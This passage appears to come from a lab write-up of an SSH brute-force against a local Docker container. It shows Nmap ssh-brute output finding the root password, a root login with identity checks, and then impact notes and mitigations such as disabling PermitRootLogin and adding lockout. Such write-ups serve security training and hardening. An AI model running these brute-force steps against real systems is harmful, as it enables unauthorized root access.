NSE: [ssh-brute] Trying username/password pair: root:mickey
NSE: [ssh-brute] Trying username/password pair: root:princesa
NSE: [ssh-brute] Trying username/password pair: root:alexandra
NSE: [ssh-brute] Trying username/password pair: root:alexis
NSE: [ssh-brute] Trying username/password pair: root:jesus
NSE: [ssh-brute] Trying username/password pair: root:estrella
NSE: [ssh-brute] Trying username/password pair: root:miguel
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000066s latency).
```

```
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-brute:
|   Accounts:
|     root:estrella - Valid credentials
|_ Statistics: Performed 106 guesses in 74 seconds, average tps: 1.4
MAC Address: 2A:26:18:68:05:58 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 103.65 seconds
```

Connecting using found credentials

```
ssh root@172.17.0.2
whoami
id
hostname
```

Result:

```
⚡ root@mintian ~ ssh root@172.17.0.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@172.17.0.2's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@cf6c1dda52e9:~# whoami
root
root@cf6c1dda52e9:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cf6c1dda52e9:~# hostname
cf6c1dda52e9
```

Root connection established.

Key points

- 22 port exposed.
- Vulnerable password: **estrella**.

- Root logging enabled

```
root@cf6c1dda52e9:/usr/local/etc# grep -inPr 'permitrootlogin' --color=auto  
sshd_config:32:#PermitRootLogin prohibit-password  
sshd_config:78:# the setting of "PermitRootLogin without-password".  
sshd_config:118:PermitRootLogin yes
```

- The SSH configuration fails to limit authentication attempts.



Impact

- Full system compromise.
- Root level access obtained.



Mitigation

- Use stronger password.
- Unable PermitRootLogin , set to no or prohibit-password .
- Add account lockout.
- Use ssh key authentication.



Conclusion

Target machine exploited successfully

1. Identify open ports.
2. Using hydra or medusa for a brute-force attack through ssh.
3. Valid credentials detection.
4. Connecting via ssh with found credentials.